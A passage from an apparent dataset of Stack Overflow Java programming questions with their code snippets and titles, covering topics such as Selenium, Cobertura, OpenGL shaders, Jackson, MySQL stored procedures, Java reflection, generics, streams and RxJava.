, the searches will usually be defined via keywords and drop-down menus which I 'm handling via Selenium 's Select object . Specifically I 've been using the selectByIndex method to iterate through the various combinations.One thing that I noticed was that , using this method , the further down the list of options I got the longer the method took . When I opened up the declaration the code I found was as follows : What I 'm confused about is why this code is written so that it examines the 'index ' attribute . As far as I can tell the getOptions ( ) method returns a list of the options available to the selector based on tag so it should be accurate , and considering that I 've been listing the indexed search combinations using the same method and those have been accurate I 'm fairly sure it is.So , right now I 've extended the class and overloaded the method to just direct it straight to the corresponding index as I do have a non-trivial number of search combinations to check and any increase in speed is valuable . There do n't appear to be any issues cropping up with the overloaded code and everything seems to be accurate so I 'm wondering why this method is written in this way ? Could anyone enlighten me ?","/** * Select the option at the given index . This is done by examing the `` index '' attribute of an * element , and not merely by counting . * * @ param index The option at this index will be selected */ public void selectByIndex ( int index ) { String match = String.valueOf ( index ) ; boolean matched = false ; for ( WebElement option : getOptions ( ) ) { if ( match.equals ( option.getAttribute ( `` index '' ) ) ) { setSelected ( option ) ; if ( ! isMultiple ( ) ) { return ; } matched = true ; } } if ( ! matched ) { throw new NoSuchElementException ( `` Can not locate option with index : `` + index ) ; } }",Selenium Select Object selectByIndex method examines index attribute instead of counting . Why ? +Java,"When I run cobertura-maven-plugin on Windows 8.1 with lengthy configuration ( used to prohibit any coverage drop in the project ) cobertura : check goal fails with error The command line is too long.The problem is probably connected to Command prompt ( Cmd . exe ) command-line string limitation , as it disappears when I limit amount of configuration provided to Cobertura . Moreover , it works fine on Linux.How can I overcome this problem ? Logs on debug level :",[ DEBUG ] Executing command line : [ DEBUG ] cmd.exe /X /C `` '' C : \Program Files\Java\jdk1.8.0_25\jre\bin\java '' net.sourceforge.cobertura.check.CheckCoverageMain -- datafile C : \IdeaProjects\checkstyle\target\cobertura\cobertura.ser -- branch 100 -- line 100 -- totalbranch 82 -- totalline 90 -- regex . *.checks.UncommentedMainCheck:88:83 -- regex . *.checks.indentation.MethodCallLineWrapHandler:0:0 -- regex . *.checks.indentation.ImportHandler:87:50 -- regex . *.checks.imports.Guard:100:86 -- regex . *.checks.sizes.AnonInnerLengthCheck:92:100 -- regex . *.checks.DeclarationCollector:100:94 -- regex . *.checks.whitespace.ParenPadCheck:95:86 -- regex . *.TreeWalker:91:92 -- regex . *.checks.naming.AbstractTypeParameterNameCheck:83:75 -- regex . *.checks.naming.LocalVariableNameCheck:100:94 -- regex . *.api.SeverityLevelCounter:76:50 -- regex . *.checks.indentation.ForHandler:95:75 -- regex . *.checks.regexp.RegexpMultilineCheck:76:100 -- regex com.puppycrawl.tools.checkstyle.Utils:93:85 -- regex . *.checks.coding.VariableDeclarationUsageDistanceCheck:97:90 -- regex . *.checks.imports.ImportControlLoader:88:72 -- regex . *.api.LocalizedMessage:81:66 -- regex . *.api.FileContents:94:96 -- regex . *.api.AbstractViolationReporter:90:100 -- regex . *.checks.imports.CustomImportOrderCheck:91:93 -- regex . *.checks.javadoc.AbstractJavadocCheck:93:90 -- regex . *.checks.naming.ConstantNameCheck:92:88 -- regex . *.checks.javadoc.HtmlTag:90:75 -- regex . *.api.ScopeUtils:0:0 -- regex . *.checks.modifier.RedundantModifierCheck:96:97 -- regex . *.DefaultLogger:76:75 -- regex . *.checks.metrics.BooleanExpressionComplexityCheck:80:74 -- regex . *.checks.design.OneTopLevelClassCheck:95:77 -- regex . *.checks.coding.DefaultComesLastCheck:90:87 -- regex . *.checks.sizes.ExecutableStatementCountCheck:95:81 -- regex . *.checks.UpperEllCheck:83:100 -- regex . *.checks.regexp.CommentSuppressor:100:75 -- regex . *.checks.naming.AbstractClassNameCheck:90:100 -- regex . *.checks.javadoc.WriteTagCheck:91:100 -- regex . *.checks.CheckUtils:97:91 -- regex . *.checks.DescendantTokenCheck:96:91 -- regex . *.checks.coding.UnnecessaryParenthesesCheck:96:91 -- regex . *.checks.blocks.RightCurlyCheck:95:88 -- regex . *.checks.coding.IllegalTypeCheck:93:93 -- regex . *.checks.TodoCommentCheck:92:100 -- regex . *.checks.coding.MultipleVariableDeclarationsCheck:96:96 -- regex . *.checks.ClassResolver:93:86 -- regex . *.checks.coding.DeclarationOrderCheck:90:82 -- regex . *.checks.blocks.LeftCurlyCheck:94:87 -- regex . *.checks.coding.AbstractIllegalMethodCheck:92:100 -- regex . *.checks.whitespace.EmptyForInitializerPadCheck:93:91 -- regex . *.checks.whitespace.WhitespaceAroundCheck:98:96 -- regex . *.checks.coding.ParameterAssignmentCheck:91:80 -- regex . *.checks.whitespace.NoWhitespaceBeforeCheck:100:90 -- regex . *.PropertiesExpander:83:50 -- regex . *.checks.indentation.BlockParentHandler:98:86 -- regex .*.checks.metrics.AbstractClassCouplingCheck\ $ . *:100:78 -- regex . *.checks.coding.IllegalInstantiationCheck:94:77 -- regex . *.checks.coding.SimplifyBooleanExpressionCheck:77:100 -- regex . *.checks.RegexpCheck:100:97 -- regex . *.checks.coding.ReturnCountCheck:74:55 -- regex . *.api.JavadocTagInfo:77:25 -- regex . *.checks.coding.AvoidInlineConditionalsCheck:66:100 -- regex . *.checks.coding.FinalLocalVariableCheck:100:79 -- regex . *.api.AutomaticBean:82:90 -- regex . *.checks.coding.InnerAssignmentCheck:97:88 -- regex . *.checks.whitespace.EmptyForIteratorPadCheck:92:100 -- regex . *.checks.coding.RequireThisCheck:89:100 -- regex . *.checks.imports.AvoidStaticImportCheck:95:85 -- regex . *.checks.whitespace.TypecastParenPadCheck:88:87 -- regex . *.checks.naming.AbstractAccessControlNameCheck:80:95 -- regex . *.checks.ArrayTypeStyleCheck:94:100 -- regex . *.checks.TranslationCheck:83:81 -- regex . *.checks.javadoc.JavadocTypeCheck:91:95 -- regex . *.checks.AbstractOptionCheck:80:100 -- regex . *.checks.coding.EqualsHashCodeCheck:96:75 -- regex . *.checks.naming.MemberNameCheck:85:91 -- regex . *.checks.javadoc.JavadocTagContinuationIndentationCheck:86:81 -- regex . *.checks.whitespace.EmptyLineSeparatorCheck:98:95 -- regex . *.checks.metrics.NPathComplexityCheck:96:100 -- regex . *.checks.header.RegexpHeaderCheck:93:87 -- regex . *.checks.AvoidEscapedUnicodeCharactersCheck:98:97 -- regex . *.checks.javadoc.JavadocMethodCheck:96:90 -- regex . *.checks.coding.ModifiedControlVariableCheck:93:83 -- regex . *.checks.whitespace.MethodParamPadCheck:95:100 -- regex . *.checks.annotation.MissingDeprecatedCheck:96:92 -- regex . *.checks.indentation.NewHandler:77:83 -- regex . *.checks.javadoc.JavadocUtils:91:83 -- regex . *.checks.naming.MethodNameCheck:93:100 -- regex . *.checks.indentation.ElseHandler:100:75 -- regex . *.checks.naming.AbstractNameCheck:87:100 -- regex . *.checks.naming.ParameterNameCheck:80:75 -- regex . *.checks.coding.HiddenFieldCheck:97:96 -- regex . *.checks.imports.RedundantImportCheck:94:81 -- regex .*.api.LocalizedMessage\ $ . *:66:41 -- regex . *.filters.SuppressionCommentFilter:87:83 -- regex . *.checks.indentation.IndexHandler:75:100 -- regex . *.checks.javadoc.AtclauseOrderCheck:88:88 -- regex . *.checks.imports.PkgControl:100:80 -- regex . *.PropertyCacheFile:19:22 -- regex . *.checks.indentation.MethodCallHandler:87:63 -- regex . *.checks.coding.StringLiteralEqualityCheck:87:100 -- regex . *.checks.metrics.JavaNCSSCheck:96:81 -- regex . *.checks.javadoc.SummaryJavadocCheck:100:93 -- regex . *.checks.coding.AbstractIllegalCheck:100:64 -- regex . *.checks.whitespace.GenericWhitespaceCheck:96:86 -- regex .*.checks.coding.HiddenFieldCheck\ $ . *:100:94 -- regex . *.api.TokenTypes:80:62 -- regex . *.PackageObjectFactory:75:75 -- regex . *.checks.naming.PackageNameCheck:88:100 -- regex . *.checkstyle.AnnotationUtility:60:60 -- regex . *.checks.whitespace.OperatorWrapCheck:81:68 -- regex . *.api.AuditEvent:93:100 -- regex . *.checks.indentation.LineSet:90:100 -- regex .*.checks.AbstractTypeAwareCheck\ $ . *:80:50 -- regex . *.api.Check:86:100 -- regex . *.checks.naming.StaticVariableNameCheck:87:81 -- regex . *.checks.indentation.ExpressionHandler:97:91 -- regex . *.checks.regexp.MultilineDetector:87:58 -- regex . *.checks.regexp.DetectorOptions:96:100 -- regex . *.checks.coding.FallThroughCheck:95:90 -- regex . *.checks.OuterTypeFilenameCheck:92:71 -- regex . *.checks.AbstractTypeAwareCheck:84:87 -- regex . *.api.AbstractFileSetCheck:87:75 -- regex . *.checks.indentation.SlistHandler:94:100 -- regex . *.checks.whitespace.AbstractParenPadCheck:100:88 -- regex . *.checks.sizes.MethodCountCheck:23:31 -- regex .*.api.JavadocTagInfo\ $ . *:8:0 -- regex . *.checks.TrailingCommentCheck:93:90 -- regex . *.checks.coding.MissingSwitchDefaultCheck:87:100 -- regex . *.checks.coding.IllegalTokenCheck:100:75 -- regex . *.checks.indentation.PrimordialHandler:60:100 -- regex . *.checks.coding.MissingCtorCheck:92:75 -- regex . *.checks.indentation.HandlerFactory:81:77 -- regex . *.checks.annotation.MissingOverrideCheck:96:100 -- regex . *.checks.indentation.PackageDefHandler:85:50 -- regex .*.checks.UniquePropertiesCheck\ $ . *:90:75 -- regex . *.api.FullIdent:96:83 -- regex . *.checks.annotation.PackageAnnotationCheck:77:50 -- regex . *.checks.blocks.EmptyBlockCheck:100:88 -- regex . *.checks.metrics.AbstractClassCouplingCheck:97:87 -- regex . *.checks.coding.SimplifyBooleanReturnCheck:96:83 -- regex . *.checks.metrics.ClassFanOutComplexityCheck:80:100 -- regex . *.checks.coding.NestedTryDepthCheck:81:50 -- regex . *.checks.coding.IllegalCatchCheck:92:100 -- regex . *.checks.coding.PackageDeclarationCheck:63:50 -- regex . *.checks.SuppressWarningsHolder:90:70 -- regex . *.checks.indentation.IndentationCheck:93:100 -- regex . *.filters.SuppressionFilter:0:0 -- regex . *.api.JavadocTokenTypes:0:100 -- regex . *.checks.NewlineAtEndOfFileCheck:88:83 -- regex . *.checks.imports.AvoidStarImportCheck:88:90 -- regex . *.checks.indentation.ObjectBlockHandler:100:75 -- regex . *.filters.SuppressionsLoader:77:68 -- regex . *.checks.annotation.AnnotationUseStyleCheck:96:93 -- regex . *.checks.design.InterfaceIsTypeCheck:85:100 -- regex . *.checks.coding.IllegalThrowsCheck:84:93 -- regex . *.checks.regexp.SinglelineDetector:96:93 -- regex . *.checks.indentation.SynchronizedHandler:100:100 -- regex . *.checks.coding.AbstractNestedDepthCheck:86:100 -- regex . *.XMLLogger:97:86 -- regex . *.checks.design.VisibilityModifierCheck:95:95 -- regex . *.api.AbstractLoader:88:75 -- regex . *.api.Comment:95:100 -- regex . *.checks.coding.OverloadMethodsDeclarationOrderCheck:96:93 -- regex . *.checks.sizes.ParameterNumberCheck:93:100 -- regex . *.checks.javadoc.JavadocStyleCheck:97:89 -- regex . *.Main:78:65 -- regex . *.checks.coding.MultipleStringLiteralsCheck:94:90 -- regex . *.checks.javadoc.TagParser:98:92 -- regex .*.ConfigurationLoader\ $ . *:84:65 -- regex . *.checks.blocks.EmptyCatchBlockCheck:98:96 -- regex . *.checks.coding.EqualsAvoidNullCheck:96:78 -- regex . *.checks.javadoc.JavadocPackageCheck:95:80 -- regex . *.checks.coding.IllegalTokenTextCheck:88:60 -- regex . *.checks.naming.LocalFinalVariableNameCheck:85:87 -- regex . *.checks.whitespace.WhitespaceAfterCheck:90:90 -- regex . *.DefaultConfiguration:92:100 -- regex . *.checks.imports.UnusedImportsCheck:97:90 -- regex .*.filters.SuppressionCommentFilter\ $ . *:69:41 -- regex . *.checks.imports.ImportOrderCheck:99:91 -- regex . *.api.FileText:59:50 -- regex . *.checks.blocks.NeedBracesCheck:97:80 -- regex . *.checks.annotation.SuppressWarningsCheck:96:79 -- regex . *.checks.imports.ImportControlCheck:70:85 -- regex . *.checks.regexp.RegexpSinglelineCheck:76:100 -- regex . *.checks.modifier.ModifierOrderCheck:91:92 -- regex . *.checks.metrics.AbstractComplexityCheck:92:83 -- regex . *.filters.SuppressElement:88:82 -- regex . *.filters.SuppressWithNearbyCommentFilter:89:76 -- regex . *.checks.indentation.LineWrappingHandler:91:87 -- regex .*.checks.javadoc.AbstractJavadocCheck\ $ . *:68:50 -- regex . *.checks.coding.AbstractSuperCheck:88:78 -- regex .*.api.AutomaticBean\ $ . *:90:75 -- regex . *.checks.blocks.AvoidNestedBlocksCheck:90:100 -- regex . *.checks.coding.NestedIfDepthCheck:83:75 -- regex . *.checks.javadoc.JavadocNodeImpl:84:50 -- regex . *.Checker:84:79 -- regex . *.checks.coding.CovariantEqualsCheck:90:95 -- regex . *.ConfigurationLoader:79:86 -- regex . *.checks.metrics.CyclomaticComplexityCheck:80:85 -- regex . *.checks.javadoc.JavadocParagraphCheck:100:92 -- regex . *.checks.sizes.MethodLengthCheck:95:100 -- regex . *.checks.sizes.OuterTypeNumberCheck:94:75 -- regex . *.checks.coding.OneStatementPerLineCheck:96:93 -- regex . *.filters.SuppressWithNearbyCommentFilter\ $ Tag:78:88 -- regex . *.Definitions:0:100 -- regex . *.api.AnnotationUtility:0:0 -- regex . *.checks.indentation.ArrayInitHandler:97:83 -- regex . *.checks.imports.IllegalImportCheck:94:100 -- regex . *.checkstyle.ScopeUtils:94:90 -- regex . *.checks.coding.ArrayTrailingCommaCheck:90:100 -- regex . *.checks.coding.EmptyStatementCheck:80:100 -- regex . *.checks.sizes.LineLengthCheck:89:100 -- regex . *.checks.javadoc.JavadocTag:85:92 -- regex . *.checks.whitespace.NoWhitespaceAfterCheck:98:94 -- regex . *.PackageNamesLoader:72:78 -- regex . *.checks.naming.AbbreviationAsWordInNameCheck:100:93 -- regex . *.checks.indentation.MethodDefHandler:100:87 -- regex . *.checks.coding.NestedForDepthCheck:90:50 -- regex . *.checks.javadoc.JavadocVariableCheck:90:93 -- regex . *.filters.IntMatchFilter:90:100 -- regex . *.api.DetailAST:98:95 -- regex . *.checks.annotation.AnnotationLocationCheck:78:75 -- regex . *.checks.coding.ExplicitInitializationCheck:90:90 -- regex . *.checks.header.HeaderCheck:45:18 -- regex . *.checks.whitespace.SeparatorWrapCheck:93:100 -- regex . *.checks.header.AbstractHeaderCheck:85:85 -- regex . *.checks.design.InnerTypeLastCheck:93:100 '' [ DEBUG ] exit code : 1 [ DEBUG ] -- -- -- -- -- -- -- -- -- -- [ DEBUG ] Standard error from the Cobertura task : [ DEBUG ] -- -- -- -- -- -- -- -- -- -- [ ERROR ] The command line is too long .,Cobertura Maven Plugin fails with `` The command line is too long '' on Windows +Java,"I 'm using OpenGL ( 4.5 core , with LWJGL 3.0.0 build 90 ) and I noticed some artifacts on textures using GL_REPEAT wrap mode with a high amount of repetitions : What causes this , and how can I fix it ( if I can ) ? Here , the plane 's size is 100x100 , and the UVs are 10000x10000 . This screenshot is really really close to it ( from farther , the texture is so small that we just see a flat gray color ) , the near plane is at 0.0001 and the far plane at 10.I 'm not sure if the problem is in the Depth Buffer since the OpenGL default one has a really high precision at closer distances . ( EDIT : I 'm thinking of a floating point error on texture coordinates , but I 'm not sure ) Here 's my shader ( I 'm using deferred rendering , and the texture sampling is in the geometry pass , so I give the geometry pass shader only ) .Vertex shader : Fragment shader : Yes , I know , the eye space position is useless in the G-Buffer since you can compute it later from the depth buffer . I just did this for now but it 's temporary.Also , if anything in my shaders is deprecated or a bad practice , it would be cool if you tell me what to do instead ! Thanks ! Additionnal infos ( most of them useless I think ) : Camera : FOV = 70° , Ratio = 16/9 , Near = 0.0001 , Far = 10OpenGL : Major = 4 , Minor = 5 , Profile = CoreTexture : InternalFormat = GL_RGBA , Filters = Anisotropic , TrilinearHardware : GPU = NVIDIA GeForce GTX 970 , CPU = Interl ( R ) Core ( TM ) i7-4790K CPU @ 4.00GHz , Memory = 16.00 GB RAM ( 15.94 GB usable ) , Screen = 1920 x 1080 @ 144HzDriver : GeForce Game Ready Driver V368.69 ( release : 6 July 2016 )","# version 450 coreuniform mat4 projViewModel ; uniform mat4 viewModel ; uniform mat3 normalView ; in vec3 normal_model ; in vec3 position_model ; in vec2 uv ; in vec2 uv2 ; out vec3 pass_position_view ; out vec3 pass_normal_view ; out vec2 pass_uv ; out vec2 pass_uv2 ; void main ( ) { pass_position_view = ( viewModel * vec4 ( position_model , 1.0 ) ) .xyz ; pass_normal_view = normalView * normal_model ; pass_uv = uv ; pass_uv2 = uv2 ; gl_Position = projViewModel * vec4 ( position_model , 1.0 ) ; } # version 450 corestruct Material { sampler2D diffuseTexture ; sampler2D specularTexture ; vec3 diffuseColor ; float uvScaling ; float shininess ; float specularIntensity ; bool hasDiffuseTexture ; bool hasSpecularTexture ; bool faceSideNormalCorrection ; } ; uniform Material material ; in vec3 pass_position_view ; in vec3 pass_normal_view ; in vec2 pass_uv ; in vec2 pass_uv2 ; layout ( location = 0 ) out vec4 out_diffuse ; layout ( location = 1 ) out vec4 out_position ; layout ( location = 2 ) out vec4 out_normal ; void main ( ) { vec4 diffuseTextureColor = vec4 ( 1.0 ) ; if ( material.hasDiffuseTexture ) { diffuseTextureColor = texture ( material.diffuseTexture , pass_uv * material.uvScaling ) ; } float specularTextureIntensity = 1.0 ; if ( material.hasSpecularTexture ) { specularTextureIntensity = texture ( material.specularTexture , pass_uv * material.uvScaling ) .x ; } vec3 fragNormal = pass_normal_view ; if ( material.faceSideNormalCorrection & & ! gl_FrontFacing ) { fragNormal = -fragNormal ; } out_diffuse = vec4 ( diffuseTextureColor.rgb * material.diffuseColor , material.shininess ) ; out_position = vec4 ( pass_position_view , 1.0 ) ; // Must be 1.0 on the alpha - > 0.0 = sky out_normal = vec4 ( fragNormal , material.specularIntensity * specularTextureIntensity ) ; }",OpenGL texture repeat artifacts +Java,I tried to add custom problem handler to object mapper with Jackson2ObjectMapperBuilderCustomizer : But when i autowired ObjectMapper bean _problemHandlers property is null.I also tried just customize existed ObjectMapper with : But result is the same . I do n't know who can erasure this property . I do n't initialize another builders/factories/etc of object mapper in another place at all . What i 'm doing wrong ?,"@ Beanpublic Jackson2ObjectMapperBuilderCustomizer customizer ( ) { return new Jackson2ObjectMapperBuilderCustomizer ( ) { @ Override public void customize ( Jackson2ObjectMapperBuilder builder ) { ObjectMapper m = builder.build ( ) ; m.addHandler ( new DeserializationProblemHandler ( ) { @ Override public boolean handleUnknownProperty ( DeserializationContext ctxt , JsonParser p , JsonDeserializer < ? > deserializer , Object beanOrClass , String propertyName ) throws IOException { System.out.println ( `` ahahahaa '' ) ; return super.handleUnknownProperty ( ctxt , p , deserializer , beanOrClass , propertyName ) ; } } ) ; } } ; } @ Autowiredpublic customize ( ObjectMapper mapper ) { ... }",Ca n't set ProblemHandler to ObjectMapper in Spring Boot +Java,"I see a lot of java examples connecting to a db , makes a call to newInstance ( ) . Some do n't use it at all . I tried both and are working fine . I could n't understand why some use and some do n't ?",... Class.forName ( `` com.mysql.jdbc.Driver '' ) .newInstance ( ) ; ... ... Class.forName ( `` com.mysql.jdbc.Driver '' ) ; ...,What is the difference between using .newInstance ( ) and not using ? +Java,"I wrote MySQL StoredProcedure to create and return new ID for each table value , however , it gets wrong value on last_insert_id ( ) from MySQL WorkBench and Java application.This procedure will be called from multiple sessions.It gives me `` 141215000000 '' and this means last_insert_id ( ) returns 0 all the time.I see it correctly inserts new data into seq_data as supposed though.Table looks like this.My goal is like ... return 141215000001return 141215000002return 141215000001","CALL ` GET_NEW_ID ` ( 'test ' , @ test ) ; select @ test ; CREATE PROCEDURE ` GET_NEW_ID ` ( IN V_TABLE VARCHAR ( 10 ) , OUT V_ID VARCHAR ( 12 ) ) BEGIN INSERT INTO seq_data ( id , ` name ` , ` stat_date ` ) SELECT IFNULL ( MAX ( id ) , 0 ) +1 , V_TABLE , DATE_FORMAT ( NOW ( ) , ' % Y % m % d ' ) FROM seq_data WHERE name = V_TABLE AND stat_date = DATE_FORMAT ( NOW ( ) , ' % Y % m % d ' ) ; SET V_ID = concat ( DATE_FORMAT ( NOW ( ) , ' % y % m % d ' ) , LPAD ( LAST_INSERT_ID ( ) , 6 , ' 0 ' ) ) ; END CREATE TABLE ` seq_data ` ( ` id ` int ( 6 ) NOT NULL AUTO_INCREMENT , ` name ` varchar ( 20 ) COLLATE utf8_bin NOT NULL , ` stat_date ` varchar ( 8 ) COLLATE utf8_bin NOT NULL , PRIMARY KEY ( ` id ` , ` name ` , ` stat_date ` ) ) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8 COLLATE=utf8_bin ; CALL ` GET_NEW_ID ` ( 'test ' , @ test ) ; select @ test ; CALL ` GET_NEW_ID ` ( 'test ' , @ test ) ; select @ test ; CALL ` GET_NEW_ID ` ( 'hello ' , @ test ) ; select @ test ;",MYSQL LAST_INSERT_ID not working as intended . How do I fix ? +Java,"I want to design a class to demonstrate immutability , incrementally.Following is a simple classNow I can still breach in using reflection , by using the following code.My question is , I have not modified the Modifiers for the fields using reflection API . Then how the code is still able to mutate final fields ?","public class ImmutableWithoutMutator { private final String firstName ; private final String lastName ; private final int age ; public ImmutableWithoutMutator ( final String firstName , final String lastName , final int age ) { this.firstName = firstName ; this.lastName = lastName ; this.age = age ; } @ Override public String toString ( ) { return String.format ( `` ImmutableWithoutMutator [ age= % s , firstName= % s , lastName= % s ] '' , age , firstName , lastName ) ; } } import java.lang.reflect.Field ; public class BreakImmutableUsingReflection { public static void main ( String [ ] args ) throws SecurityException , NoSuchFieldException , IllegalArgumentException , IllegalAccessException { ImmutableWithoutMutator immMutator = new ImmutableWithoutMutator ( `` firstName '' , `` lastName '' , 2400 ) ; System.out.println ( immMutator ) ; // now lets try changing value using reflection Field f = ImmutableWithoutMutator.class.getDeclaredField ( `` age '' ) ; f.setAccessible ( true ) ; f.set ( immMutator , 2000 ) ; System.out.println ( immMutator ) ; } }",Protect Final Variables from reflection +Java,"Let 's suppose I have the following : The compiler complains at line 3 with `` incompatible types ; required : java.util.List < T > ; found : java.util.List < capture # 1 of ? extends my.app.Widget > '' . Which I do n't understand why . It seems reasonable to me that the type T could never change in either case other than a sub-type.This can be fixed via explicit casting , though I do not know why it is required.Could this be a compiler bug ? Note I am using JDK 1.7.0_15 :","public < T extends Widget > List < T > first ( T n ) { return first ( n.getClass ( ) ) ; } public < T extends Widget > List < T > first ( Class < T > n ) { return new ArrayList < > ( ) ; } public < T extends Widget > List < T > first ( T n ) { return ( List < T > ) first ( n.getClass ( ) ) ; } public < T extends Widget > List < T > first ( Class < T > n ) { return new ArrayList < > ( ) ; } java version `` 1.7.0_15 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_15-b03 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 23.7-b01 , mixed mode )",Why do I need to explicitly cast a generic call ? +Java,"I am looking for a way to implement a non-terminal grouping operation , such that the memory overhead will be minimal.For example , consider distinct ( ) . In the general case , it has no choice but to collect all distinct items , and only then stream them forward . However , if we know that the input stream is already sorted , the operation could be done `` on-the-fly '' , using minimal memory.I know I can achieve this for iterators using an iterator wrapper and implementing the grouping logic myself . Is there a simpler way to implement this using streams API instead ? -- EDIT -- I found a way to abuse Stream.flatMap ( .. ) to achieve this : And then : Which prints : With some changes , the same technique can be used for any kind of memory-efficient sequence grouping of streams . Anyway , I do n't like much this solution , and I was looking for something more natural ( like the way mapping or filtering work for example ) . Furthermore , I 'm breaking the contract here because the function supplied to flatMap ( .. ) is stateful .","private static class DedupSeq implements IntFunction < IntStream > { private Integer prev ; @ Override public IntStream apply ( int value ) { IntStream res = ( prev ! = null & & value == prev ) ? IntStream.empty ( ) : IntStream.of ( value ) ; prev = value ; return res ; } } IntStream.of ( 1,1,3,3,3,4,4,5 ) .flatMap ( new DedupSeq ( ) ) .forEach ( System.out : :println ) ; 1345",Java Streams - grouping items on sorted streams efficiently +Java,"In the System class , in , out , and err are static fields . These fields are declared for example : Why declare nullInputStream ( ) instead of null ?",public final static InputStream in = nullInputStream ( ) ;,Why is System.in declared as nullInputStream ( ) instead of null ? +Java,"I 'm used to programming in Scala , but I have to write some Java , and I 'm trying to perform the equivalent of the following Scala snippet : That is , I 'm folding the elements on elems inside options , producing a new instance at each step.I tried to use Java 's Stream # reduce : I do n't know what the combiner should be , and I 'm having trouble imagining what values its arguments will have . My understanding is that the combiner will be used to combine intermediate values produced in parallel in a parallel stream . I do not care at all about processing elems in parallel in my case . In other terms , I 'm looking for a synchronous and sequential version of Flux # reduce.I have no control on the API of Options . elems does not need to be a Stream .","trait Options [ K , V ] { def add ( key : K , value : V ) : Options [ K , V ] } val options : Options [ T , U ] = ? ? ? val elems : List [ ( T , U ) ] = ? ? ? elems.foldLeft ( options ) { case ( opts , ( key , value ) ) = > opts.add ( key , value ) } interface Options < K , V > { Options < K , V > add ( K key , V value ) ; } Options < K , V > options = ? ? ? Stream < Tuple2 < K , V > > elems = ? ? ? // This is Reactor 's Tuple2elems.reduce ( options , ( opts , opt ) - > opts.add ( opt ) , ? ? ? )",Folding a sequential stream in Java +Java,"I have a generic interface and a class implementing it : And the result isBut in fact , I just want the implementing version : Do you have any convient way to achieve it ?","import java.util.Arrays ; interface Interface < T > { void doSomething ( T element ) ; } class StringImpl implements Interface < String > { @ Override public void doSomething ( String element ) { System.out.println ( `` StringImpl : doSomething '' ) ; } } public class Main { public static void main ( String ... args ) { System.out.println ( Arrays.toString ( StringImpl.class.getDeclaredMethods ( ) ) ) ; } } [ public void com.ra.StringImpl.doSomething ( java.lang.String ) , public void com.ra.StringImpl.doSomething ( java.lang.Object ) ] public void com.ra.StringImpl.doSomething ( java.lang.String )",How to just get the method in the implement class with a generic interface in Java +Java,"With ru locale return full month name ( Февраль ) , but with en only number ( 2 ) .MMMM work with en , but not work with ru ( need nominative case ) .How get full month name for all locales ?","DateTimeFormatter formatter = DateTimeFormatter.ofPattern ( `` LLLL '' , new Locale ( `` ru '' ) ) ; LocalDate.now ( ) .format ( formatter ) ;",DateTimeFormatter not work with LLLL pattern in en locale +Java,I need to Convert each cells of ms word table into images.I have write code for getImage as well getText but I want to merge both of them and convert into single image so I just want to convert the cell into the image.Reference,XWPFDocument doc = new XWPFDocument ( new FileInputStream ( fileName ) ) ; List < XWPFTable > table = doc.getTables ( ) ; for ( XWPFTable xwpfTable : table ) { List < XWPFTableRow > row = xwpfTable.getRows ( ) ; for ( XWPFTableRow xwpfTableRow : row ) { List < XWPFTableCell > cell = xwpfTableRow.getTableCells ( ) ; for ( XWPFTableCell xwpfTableCell : cell ) { if ( xwpfTableCell ! = null ) { System.out.println ( xwpfTableCell.getText ( ) ) ; String s = xwpfTableCell.getText ( ) ; for ( XWPFParagraph p : xwpfTableCell.getParagraphs ( ) ) { for ( XWPFRun run : p.getRuns ( ) ) { for ( XWPFPicture pic : run.getEmbeddedPictures ( ) ) { byte [ ] pictureData = pic.getPictureData ( ) .getData ( ) ; System.out.println ( `` picture : `` + pictureData ) ; } } } } } } },Converting a cell of Ms word table into image using java +Java,Why people write code like that ? Is this a good practice ?,/*/ comment heredo some thing./*/do some thing.//*/,Is this a good practice ? `` /*/something/*/something//*/ '' +Java,"Let 's say I have a event-emitting data source that I want to transform into reactive stream . Data source is bound by a resource ( for example a socket that periodically sends updated state ) so I would want to share single Subscription to that resource . Using single observable with replay ( for new subscribers to immediately get current value value ) and refCount operators seems to be well suited for that . For example this his how MyDataProvider singleton would look like : However , now let 's say I have another data source that needs result of the first data source to compute its own value : Here my setup starts to fall apart . Multicasting of the first observable only works until refCount operator . After that , everything is unicast again . That would mean that if two separate subscriptions to anotherDataProvider are made , flatMap operator would be called twice . I see two workarounds for this , but I dislike both:1 . Transform first observable before multicast happensSimplest workaround seems to be for me to save unicast variant of myDataObservable somewhere , before multicast operation is made and then perform that multicast operation in anotherDataObservable However if those two observables are located in diferent modules , this workaround would make the code very inelegant , requiring MyDataProvider to expose two different observables that seemingly return same data . 2 . Just use duplicate multicast operatorsSecond workaround seems to be to just apply those replay and refCount operators again in anotherDataObservable . But this creates inefficiency since first multicast operator in myDataObservable is already applied , but now does nothing , except waste memory and CPU cycles.Both workarounds also involve coupling of the AnotherDataProvider to the MyDataProvider . If in the future MyDataProvider changes and multicasting is no longer desired , I would also have to update AnotherDataProvider to remove multicasting operators from there.What would be the more elegant way to resolve this problem ? Could I have architectured that any better to avoid the issue altogether ?",private final Observable < MyData > myDataObservable = Observable. < MyData > create ( emitter - > { // Open my resource here and emit data into observable } ) .doOnDispose ( ( ) - > { // Close my resource here } ) .replay ( 1 ) .refCount ( ) ; public Observable < MyData > getMyDataObservable ( ) { return myDataObservable ; } private final Observable < AnotherData > anotherDataObservable = getMyDataProvider ( ) .getMyDataObservable ( ) .flatMap ( myData - > { // Call another data source and return the result here } ) public Observable < AnotherData > getAnotherDataObservable ( ) { return anotherDataObservable ; },How to properly transform multicasting observables in RxJava +Java,"I 'm trying to understand local variable type inference in Java 10 . The code below works perfectly during compilation and runtime : However , this line throws a compilation error : Error : java : java.lang.AssertionError : Unexpected intersection type : java.lang.Object & java.io.Serializable & java.lang.Comparable < ? extends java.lang.Object & java.io.Serializable & java.lang.Comparable < ? > > I do n't really understand why the 2nd case is wrong but not the 1st case . Because I expect the compiler would infer the type of list1 and treat list2 and list3 the same . Thanks in advance .","List list1 = Arrays.asList ( 1L , 2.0F , `` 3 '' ) ; var list2 = list1 ; var list3 = Arrays.asList ( 1L , 2.0F , `` 3 '' ) ;",Why am I getting an AssertionError when assigning Arrays.asList ( ) to var directly ? +Java,I want to use split ( ) here but I need to a separator to be -4 . I do n't know which numbers are negative and I need to use split to group positive numbers in separate arrays.Is it possible ? Edit : I want to use : and receive,String string = `` 3 5 3 -4 2 3 `` ; String [ ] parts = string.split ( ? ? ? ? ) ; parts [ 0 ] = `` 3 5 3 '' parts [ 1 ] = `` 2 3 '',"Java split ( ) , use whole word containing a specific character as separator" +Java,"Is there a difference between @ Path having value starting with 